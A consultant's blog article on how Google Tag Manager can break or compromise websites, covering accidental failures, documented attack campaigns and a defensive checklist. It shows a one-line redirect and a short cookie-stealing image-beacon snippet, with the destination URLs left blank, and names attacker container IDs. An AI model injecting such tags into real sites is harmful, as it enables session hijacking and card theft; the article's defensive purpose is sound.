How to Break a Website Using Google Tag Manager

Google Tag Manager runs on over 30 million websites. It’s one of the most widely used tools for managing tracking and marketing scripts. Marketers love it — you can add a tag in 2 minutes, no developer needed, no deploy required.

But GTM is essentially a script injector with a graphical interface.

What does that mean?

Anyone with Publish access to a container can inject arbitrary JavaScript into your website. No code review. And the visitor’s browser will dutifully execute it.

This isn’t a theoretical risk. Over the years, I’ve dealt with consequences ranging from broken tracking and non-functional websites to actual security incidents. This article shows what can go wrong. And how to prevent it.

Negligence — How to Break Your Site by Accident

Most GTM problems don’t come from attacks. They come from someone adding a tag without proper testing. Or without thinking through all the implications.

JavaScript Conflicts

GTM tags run in the same execution context as the rest of the page. It’s easy to accidentally break a developer’s carefully crafted frontend. Common issues:

  • A script overwrites a global variable or prototype that other code depends on
  • A tag calls stopPropagation() or preventDefault(), blocking events for other handlers
  • A heavy script (heatmap, session recording) blocks the main thread and the page becomes unresponsive
  • A tag modifies DOM elements that the page’s framework (React, Vue) relies on

Rule of thumb: test every new tag on the actual website — not just in GTM Preview mode, but in the context of the entire page framework.

Silent Data Loss

A tag stops working — the vendor changes their script domain, the script throws an error, CSP blocks it. But since GTM tags fail silently (no error message for the user), nobody notices. You find out weeks later when you look at your data and see a gap you can’t backfill.

From a business perspective, this is the most expensive type of error. You’re making decisions based on data that doesn’t exist. And you don’t even know it.

Infinite Loops

Imagine this scenario: you set up a tag to track JavaScript errors. The tag fires on error. But the tag itself throws an error (maybe because its destination domain is blocked). That triggers the tag again. And again. And again — until the browser freezes or the tab crashes.

Dead Domain Takeover — A Story from the Field

I dealt with a case where a client had added a GTM tag from a small analytics platform. The platform eventually shut down and let its domain expire. Someone bought the domain and started serving malicious scripts from it.

Result: GTM on the client’s website kept loading the tag pointing to that domain. Visitors’ browsers downloaded and executed the attacker’s code — through a legitimate GTM container, on a legitimate website.

Nobody noticed for about a month. The tag had been in the container “forever,” nobody knew what it did, and nobody checked whether the platform still existed.

After a month, the script started redirecting the website to a completely different domain. Panic ensued.

Lesson: Dead tags in GTM aren’t just clutter. They’re a security risk. Every third-party script is a dependency — and dependencies die.

Intent — What Someone with GTM Access Can Do

Everything above happened by accident. Now let’s look at what happens when someone wants to cause damage. All they need is Publish access to a GTM container and a Custom HTML tag.

Redirecting Visitors

The simplest attack — one line of JavaScript:

window.location.href = '';

Every visitor immediately lands on the attacker’s page. Phishing, malware downloads, anything.

Page Defacement

An attacker can inject arbitrary HTML into the page — images, fake forms, fake payment gateways. The visitor won’t notice the difference because they’re still on the legitimate domain.

Session and Cookie Theft

var img = document.createElement('img');
img.src = '' 
  + encodeURIComponent(document.cookie);
document.body.appendChild(img);

An invisible image sends all cookies to the attacker’s server. If that includes a session token, the attacker logs in as an admin — without knowing the password.

Payment Data Theft (Magecart)

A more sophisticated variant: the attacker uses GTM to inject JavaScript that overlays the real checkout form with a fake one. The customer enters their card number — the data goes to both the attacker and the legitimate payment gateway. The customer notices nothing. The merchant notices nothing. The bank catches it months later.

Real Attacks — Not Theory, Practice

These aren’t hypothetical scenarios. They’re documented cases.

Magecart on Magento Stores (2025)

Security firm Sucuri discovered malware hidden in GTM container GTM-MLHK2N68 on Magento e-commerce sites. The payload was stored in the cms_block.content database table — Base64-encoded JavaScript disguised as a legitimate Google Analytics script.

In reality, it was a script stealing payment data from checkout forms.

Numbers from Recorded Future: 165,000+ payment card records linked to GTM attacks ended up on the dark web. 569 e-commerce domains infected with malicious scripts spread through GTM. Average time before the merchant notices and fixes the problem: over 3 months.

GrelosGTM Campaign (2020+)

Group-IB analysts identified an organized group called GrelosGTM. The attackers injected references to their own GTM container (GTM-5SF293J) into compromised websites’ source code. The container loaded the next attack stage from the attacker’s server.

The elegance of the attack: a GTM container is a legitimate Google service. Security tools don’t block it by default.

Container Hijacking — Multi-Site Cloaking

An attacker stole a legitimate website’s GTM container ID and embedded it on a network of spam domains. Result: the legitimate site’s analytics data was polluted with fake traffic, SEO was damaged by association with toxic domains, and the site’s content was scraped.

The client only noticed thanks to a “Container quality: Needs Attention” warning in the GTM interface.

Bypassing WAF and CSP via GTM (Raxis)

Security firm Raxis demonstrated an attack combining an XSS vulnerability with GTM:

  1. Attacker finds an XSS vulnerability on the website
  2. Injects a reference to their own GTM container with a Custom HTML tag containing malicious code
  3. The payload lives on googletagmanager.com — the WAF doesn’t flag it, CSP allows it (because Google is on the allowlist)
  4. Malicious code executes in the page context — full access to cookies, session tokens, DOM

Google acknowledged it as an “honorable mention” in the Bug Bounty program. There’s no fix — this is by design. GTM is a JavaScript hosting platform, and Google operates it intentionally.

Who Has the Keys to Your Website?

After reading the sections above, one thing should be clear: whoever has Publish access to your GTM container has de facto root access to your website from the visitor’s perspective.

GTM Roles and What They Mean

  • Administrator — full control, can add/remove users
  • Publish — can push changes to the live site. This is the critical role.
  • Approve — can approve changes but not publish (useful for approval workflows)
  • Edit — can modify tags but not publish
  • Read — view only

Where Problems Arise

  • Agencies and freelancers — the engagement ended a year ago, access remains
  • Former employees — the marketer left, nobody revoked their account
  • Vendor requests — “Give us GTM access, we’ll set up your pixel.” You hand them Publish and forget.
  • Shared accounts — one Google account for the entire marketing team. Who published what? Nobody knows.

A Simple Test

Open GTM → Admin → User Management. How many people do you see? How many of them still work with you? How many actually need Publish access?

If the answer to any of these is “I don’t know” — you have a problem.

How to Defend Yourself

1. Access Audit

At least once a quarter, review the user list in GTM. Remove inactive accounts. Downgrade permissions where Publish isn’t needed.

2. Approval Process

GTM supports Workspaces (even in the free version) and formal approval mode in the paid GTM 360 version. Even without 360, you can set an internal rule: no tag goes live without a second pair of eyes. Yes, it slows the process by hours. No, that’s not an argument against — it’s an argument for.

3. Templates Over Custom HTML

A Custom HTML tag = arbitrary JavaScript with no restrictions. Templates from the Community Template Gallery run in a sandboxed environment with a defined API (sendPixel, injectScript, setCookie). Minimize Custom HTML. Ideally, eliminate it.

4. Versioning and Naming

GTM keeps version history. Name each version clearly (not “v47” but “Added Meta CAPI tag — approved by Pavel”). During an incident, this lets you roll back to the last working version in minutes.

5. Dead Tags = Dead Dependencies

Regularly review your container. If a tag points to a domain that doesn’t respond or whose service no longer exists — delete it. Don’t just pause. Delete.

6. Content Security Policy

An HTTP header that tells the browser which scripts are allowed to run on the page. It’s the technically strongest defense — but also the most complex to configure correctly alongside GTM. Details in the follow-up article.

7. Monitoring

Track GTM change history. Set up alerts for new container versions. If you have CSP, monitor violation reports — they’ll show you what’s trying to run without permission.

Lab note

It’s a dual-use problem — the same research that develops vaccines can create biological weapons. GTM is designed for managing measurement. But in an attacker’s hands, it’s a script injector with a trusted address — googletagmanager.com — that firewalls and security policies allow by default.

Conclusion

GTM isn’t dangerous by itself. It’s dangerous without oversight — without access audits, without an approval process, without dead tag cleanup.

Practical first step: open GTM → Admin → User Management. Look at who’s there. How many of those people actually need the right to publish code to your website?

Second step: review your Custom HTML tags. Do you know what each one does? Does the domain it loads scripts from still exist?

And if you want to know how to reconcile GTM with your website’s Content Security Policy so that tracking works and the site stays protected — read the follow-up article [GTM vs. CSP].

Need help with a GTM audit or setting up secure tracking? Get in touch — let’s go through it together.